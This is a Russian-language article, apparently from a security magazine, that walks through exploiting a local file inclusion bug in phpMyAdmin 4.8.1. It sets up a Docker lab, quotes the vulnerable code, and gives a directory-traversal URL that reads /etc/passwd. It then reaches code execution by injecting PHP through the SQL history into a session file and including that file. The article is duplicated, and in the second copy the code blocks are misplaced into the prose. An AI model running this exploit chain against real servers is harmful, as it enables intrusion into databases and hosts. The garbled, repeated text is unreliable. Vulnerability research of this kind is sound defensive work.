phpMyAdmin — популярнейший веб-менеджер для баз данных MySQL. Возможность его установки есть у большинства хостингов, и примерно на каждом втором сайте можно найти путь, по которому он установлен. Сам понимаешь, насколько это лакомый кусочек — уязвимость в таком продукте. Под угрозой — масса компаний от мала до велика.
Уязвимость была обнаружена ребятами из команды и позволяет выполнить произвольный код на целевой системе. Найденный баг затрагивает все версии phpMyAdmin ветки 4.8, вплоть до последней — 4.8.1.
Подготовка
Первым делом готовим все для демонстрации уязвимости. Так как phpMyAdmin написан на PHP (кто бы мог подумать), то его установка не вызовет никаких проблем даже у твоей прабабушки.
Как обычно, воспользуемся докер-контейнерами для максимально быстрого создания нужной нам инфраструктуры. Мы будем ломать веб-интерфейс для администрирования MySQL, поэтому сначала поднимем сервер MySQL.
Я воспользуюсь первым вариантом, так как детальная настройка нас не интересует. Для дефолтной cookie-авторизации нужно указать секретный ключ (blowfish_secret), для шифрования данных сессии.
Установленный phpMyAdmin версии 4.8.1
Local File Inclusion (LFI). Детали уязвимости
Баг можно проэксплуатировать только под учеткой авторизованного пользователя, поэтому для начала нужно войти. Сразу стало немного скучно? Не стоит недооценивать опасность этой уязвимости! Сколько раз в моей практике было так, что креды для доступа к базе данных есть, а шелл залить возможности нет. Теперь таких проблем будет на порядок меньше.
Итак, заглянем почти в самое начало файла index.php.
/index.php
Условие 1. ! empty($_REQUEST['target'] — тут совсем все просто. Конечно же, мы будем указывать что-то в target, иначе в чем смысл?
Условие 2. is_string($_REQUEST['target']) — ну разумеется, это будет строкой, include не умеет работать с массивом имен файлов.
Условие 3. ! preg_match('/^index/', $_REQUEST['target']) — название файла для include не должно начинаться с index. Хорошо, учтем этот момент.
Условие 4. ! in_array($_REQUEST['target'], $target_blacklist) — файл не должен находиться в черном списке. Вот как он выглядит:
/index.php
Условие 5. Core::checkPageValidity($_REQUEST['target']) — вот тут придется немножко повозиться. Давай заглянем в этот метод и посмотрим, что за дополнительные проверки он там выполняет.
/libraries/classes/Core.php
/libraries/classes/Core.php
Вот такой внушительный список нам доступен. Это почти все файлы, которые лежат в корне дистрибутива. Тут логика понятна — разработчики не хотят, чтобы мы тут шатались и выполняли всякие произвольные коды.
А дальше идет проверка, которая убивает всю защиту и смысл белого списка.
/libraries/classes/Core.php
Обход проверки белого списка в phpMyAdmin
Но что нам дает include такой строки? Ответ прост: выполнение кода на PHP из любого файла. Все дело в особенностях обработки путей до файлов. Мы можем использовать выход из директорий (directory traversal) для доступа к произвольным файлам. Например, каноничный /etc/passwd можно прочитать таким образом:
Уязвимость LFI в phpMyAdmin
Путь к RCE
Теперь у нас есть читалка-выполнялка PHP — самое время превратить ее в RCE. Как же это сделать, если у нас нет возможности загрузить файл? На самом деле вариантов множество, но все зависит от конфигурации сервера.
Посмотрим на вариант выполнения кода через файлы сессии. По дефолту седьмая версия PHP в Debian хранит их по пути /var/lib/php/sessions/ и, конечно же, они имеют нужные нам права доступа, так как читаются веб-сервером.
Дефолтные пути, по которым находятся файлы сессии
Нам осталось лишь найти возможность записать туда нужную информацию. И такая возможность имеется в phpMyAdmin. Во время работы он сохраняет историю успешно выполненных SQL-запросов в переменной sql_history сессии текущего пользователя. За это отвечает метод setHistory класса Relation. Каждый раз при загрузке футера страницы отрабатывает функция getDisplay, в которой, помимо прочего, вызывается обертка _setHistory. Внутри него и принимается решение о сохранении данных, если соблюдены нужные условия.
/libraries/classes/Footer.php
Сохранение истории SQL-запросов phpMyAdmin в сессии
Узнать имя файла сессии не составляет труда. Для этого достаточно посмотреть значение куки phpMyAdmin, где находится идентификатор сессии текущего пользователя.
По умолчанию имя файла сессии имеет префикс sess_. Если теперь собрать все вместе, то получаем путь:
И затем вызвать его с помощью включения сессионного файла.
Успешная эксплуатация phpMyAdmin 4.8.1
Код успешно выполнен, можно наблюдать приятный глазу вывод функции phpinfo().
Демонстрация уязвимости (видео)
Заключение
Уязвимость банальная, но при этом опасная, причем не где-нибудь, а в первых же строчках основного index.php. Непонятно, как такая оплошность проскочила в релизную ветку.
Разумеется, незамедлительно выпустили новую версию 4.8.2, в которой уязвимость исправили. Но мы прекрасно знаем, что продукты вроде phpMyAdmin обновляются катастрофически редко. На хостингах их, может быть, с некоторой периодичностью и обновляют, а вот на индивидуальных серверах зачастую — никогда. Так что если ты где-то поставил phpMyAdmin, у тебя есть все шансы стать исключением из этого правила.
Уязвимость была обнаружена ребятами из команды и позволяет выполнить произвольный код на целевой системе. Найденный баг затрагивает все версии phpMyAdmin ветки 4.8, вплоть до последней — 4.8.1.
Подготовка
Первым делом готовим все для демонстрации уязвимости. Так как phpMyAdmin написан на PHP (кто бы мог подумать), то его установка не вызовет никаких проблем даже у твоей прабабушки.
Как обычно, воспользуемся докер-контейнерами для максимально быстрого создания нужной нам инфраструктуры. Мы будем ломать веб-интерфейс для администрирования MySQL, поэтому сначала поднимем сервер MySQL.
Теперь дело за оставшимися тремя буквами из стека LAMP: Linux, Apache и PHP. Веб-сервер будет на основе Debian.$ docker run -d -e MYSQL_USER="pmavh" -e MYSQL_PASSWORD="8Aiu04nOay" -e MYSQL_DATABASE="pmavh" --rm --name=mysql --hostname=mysql mysql/mysql-server
Ставим необходимые сервисы и зависимости.$ docker run -it --rm -p80:80 --name=pmavh --hostname=pmavh --link=mysql debian /bin/bash
Если не хочешь возиться с отладкой, то можешь не устанавливать модуль php-xdebug и не выполнять команды для его настройки.$ apt-get update && apt-get install -y apache2 php php-mysqli php-mbstring nano wget php-xdebug
Следующим шагом будет загрузка дистрибутива и его распаковка в веб-директорию.$ echo "xdebug.remote_enable=1" >> /etc/php/7.0/apache2/conf.d/20-xdebug.ini
$ echo "xdebug.remote_host=192.168.99.1" >> /etc/php/7.0/apache2/conf.d/20-xdebug.ini
Теперь нужно выполнить базовую настройку phpMyAdmin, иначе работа с ним будет невозможна. Для настройки нужно создать или отредактировать конфигурационный файл — ручками или с помощью специального интерфейса.$ cd /tmp && wget https://files.phpmyadmin.net/phpMyAdmin/4.8.1/phpMyAdmin-4.8.1-all-languages.tar.gz
$ tar xzf phpMyAdmin-4.8.1-all-languages.tar.gz
$ rm -rf /var/www/html/* && mv phpMyAdmin-4.8.1-all-languages/* /var/www/html/
$ chown -R www-data:www-data /var/www/html/
Я воспользуюсь первым вариантом, так как детальная настройка нас не интересует. Для дефолтной cookie-авторизации нужно указать секретный ключ (blowfish_secret), для шифрования данных сессии.
Ну и необходимо указать адрес сервера MySQL, к которому будет подключение. У нас подключен контейнер под названием mysql, его и запишем.$ sed -i "s/cfg\['blowfish_secret'\] = '/\0$(tr -dc 'a-zA-Z0-9' < /dev/urandom | fold -w 32 | head -n 1)/" /var/www/html/config.sample.inc.php
Далее делаем конфиг легитимным, переименовав его.$ sed -i 's/localhost/mysql/' /var/www/html/config.sample.inc.php
Можно запускать Apache, проверять работу нашего инструмента и переходить к поиску и эксплуатации уязвимости.$ mv /var/www/html/config.sample.inc.php /var/www/html/config.inc.php
$ service apache2 start
Установленный phpMyAdmin версии 4.8.1
Баг можно проэксплуатировать только под учеткой авторизованного пользователя, поэтому для начала нужно войти. Сразу стало немного скучно? Не стоит недооценивать опасность этой уязвимости! Сколько раз в моей практике было так, что креды для доступа к базе данных есть, а шелл залить возможности нет. Теперь таких проблем будет на порядок меньше.
Итак, заглянем почти в самое начало файла index.php.
/index.php
Интересный кусочек кода, не правда ли? По сути, он выполняет включение (include) того, что мы передадим в параметре target. Причем делать это можно любыми способами (POST, GET, COOKIE) благодаря глобальной переменной $_REQUEST. Все, что от нас требуется, — это успешно пройти пять условий, которые проверяются if.54: // If we have a valid target, let’s load that script instead
55: if (! empty($_REQUEST['target'])
56: && is_string($_REQUEST['target'])
57: && ! preg_match('/^index/', $_REQUEST['target'])
58: && ! in_array($_REQUEST['target'], $target_blacklist)
59: && Core::checkPageValidity($_REQUEST['target'])
60: ) {
61: include $_REQUEST['target']);
62: exit;
63: }
Условие 1. ! empty($_REQUEST['target'] — тут совсем все просто. Конечно же, мы будем указывать что-то в target, иначе в чем смысл?
Условие 2. is_string($_REQUEST['target']) — ну разумеется, это будет строкой, include не умеет работать с массивом имен файлов.
Условие 3. ! preg_match('/^index/', $_REQUEST['target']) — название файла для include не должно начинаться с index. Хорошо, учтем этот момент.
Условие 4. ! in_array($_REQUEST['target'], $target_blacklist) — файл не должен находиться в черном списке. Вот как он выглядит:
/index.php
Окей. Постараемся подобрать другие интересные файлы.50: $target_blacklist = array (
51: 'import.php', 'export.php'
52: );
Условие 5. Core::checkPageValidity($_REQUEST['target']) — вот тут придется немножко повозиться. Давай заглянем в этот метод и посмотрим, что за дополнительные проверки он там выполняет.
/libraries/classes/Core.php
Первое, что нас интересует, — это попадание нашего параметра в белый список. Специально он не указан, а поэтому используется значение по умолчанию self::$goto_whitelist.443: public static function checkPageValidity(&$page, array $whitelist = [])
444: {
445: if (empty($whitelist)) {
446: $whitelist = self::$goto_whitelist;
447: }
448: if (! isset($page) || !is_string($page)) {
449: return false;
450: }
451:
452: if (in_array($page, $whitelist)) {
453: return true;
454: }
/libraries/classes/Core.php
27: /**
28: * the whitelist for goto parameter
29: * @static array $goto_whitelist
30: */
31: public static $goto_whitelist = array(
32: 'db_datadict.php',
33: 'db_sql.php',
34: 'db_events.php',
35: 'db_export.php',
36: 'db_importdocsql.php',
37: 'db_multi_table_query.php',
38: 'db_structure.php',
39: 'db_import.php',
40: 'db_operations.php',
41: 'db_search.php',
42: 'db_routines.php',
43: 'export.php',
44: 'import.php',
45: 'index.php',
46: 'pdf_pages.php',
47: 'pdf_schema.php',
48: 'server_binlog.php',
49: 'server_collations.php',
50: 'server_databases.php',
51: 'server_engines.php',
52: 'server_export.php',
53: 'server_import.php',
54: 'server_privileges.php',
55: 'server_sql.php',
56: 'server_status.php',
57: 'server_status_advisor.php',
58: 'server_status_monitor.php',
59: 'server_status_queries.php',
60: 'server_status_variables.php',
61: 'server_variables.php',
62: 'sql.php',
63: 'tbl_addfield.php',
64: 'tbl_change.php',
65: 'tbl_create.php',
66: 'tbl_import.php',
67: 'tbl_indexes.php',
68: 'tbl_sql.php',
69: 'tbl_export.php',
70: 'tbl_operations.php',
71: 'tbl_structure.php',
72: 'tbl_relation.php',
73: 'tbl_replace.php',
74: 'tbl_row_action.php',
75: 'tbl_select.php',
76: 'tbl_zoom_select.php',
77: 'transformation_overview.php',
78: 'transformation_wrapper.php',
79: 'user_password.php',
80: );
Вот такой внушительный список нам доступен. Это почти все файлы, которые лежат в корне дистрибутива. Тут логика понятна — разработчики не хотят, чтобы мы тут шатались и выполняли всякие произвольные коды.
А дальше идет проверка, которая убивает всю защиту и смысл белого списка.
/libraries/classes/Core.php
Если мы передадим название любого файла из белого списка, добавим вопросительный знак и после него что угодно, то такая строка пройдет проверку. Например, db_datadict.php?CHECK.456: $_page = mb_substr(
457: $page,
458: 0,
459: mb_strpos($page . '?', '?')
460: );
461: if (in_array($_page, $whitelist)) {
462: return true;
463: }
Обход проверки белого списка в phpMyAdmin
http://pma.visualhack/index.php?target=db_datadict.php?/../../../../etc/passwd
Уязвимость LFI в phpMyAdmin
Теперь у нас есть читалка-выполнялка PHP — самое время превратить ее в RCE. Как же это сделать, если у нас нет возможности загрузить файл? На самом деле вариантов множество, но все зависит от конфигурации сервера.
Посмотрим на вариант выполнения кода через файлы сессии. По дефолту седьмая версия PHP в Debian хранит их по пути /var/lib/php/sessions/ и, конечно же, они имеют нужные нам права доступа, так как читаются веб-сервером.
Дефолтные пути, по которым находятся файлы сессии
/libraries/classes/Footer.php
/libraries/classes/Footer.php311: public function getDisplay()
312: {
313: $retval = '';
314: $this->_setHistory();
/libraries/classes/Relation.php246: private function _setHistory()
247: {
248: if (! Core::isValid($_REQUEST['no_history'])
249: && empty($GLOBALS['error_message'])
250: && ! empty($GLOBALS['sql_query'])
251: && isset($GLOBALS['dbi'])
252: && $GLOBALS['dbi']->isUserType('logged')
253: ) {
254: $this->relation->setHistory(
255: Core::ifSetOr($GLOBALS['db'], ''),
256: Core::ifSetOr($GLOBALS['table'], ''),
257: $GLOBALS['cfg']['Server']['user'],
258: $GLOBALS['sql_query']
259: );
260: }
261: }
1052: public function setHistory($db, $table, $username,$sqlquery)
1053: {
...
1064: if (! isset($_SESSION['sql_history'])) {
1065: $_SESSION['sql_history'] = array();
1066: }
1067:
1068: $_SESSION['sql_history'][] = array(
1069: 'db' => $db,
1070: 'table' => $table,
1071: 'sqlquery' => $sqlquery,
1072: );
Сохранение истории SQL-запросов phpMyAdmin в сессии
Остается только сохранить нужный код на PHP в сессию./var/lib/php/sessions/sess_dhtqvdka6sbe7fqcosjs0vuee2e04872
Успешная эксплуатация phpMyAdmin 4.8.1
Демонстрация уязвимости (видео)
Заключение
Уязвимость банальная, но при этом опасная, причем не где-нибудь, а в первых же строчках основного index.php. Непонятно, как такая оплошность проскочила в релизную ветку.
Разумеется, незамедлительно выпустили новую версию 4.8.2, в которой уязвимость исправили. Но мы прекрасно знаем, что продукты вроде phpMyAdmin обновляются катастрофически редко. На хостингах их, может быть, с некоторой периодичностью и обновляют, а вот на индивидуальных серверах зачастую — никогда. Так что если ты где-то поставил phpMyAdmin, у тебя есть все шансы стать исключением из этого правила.
aLLy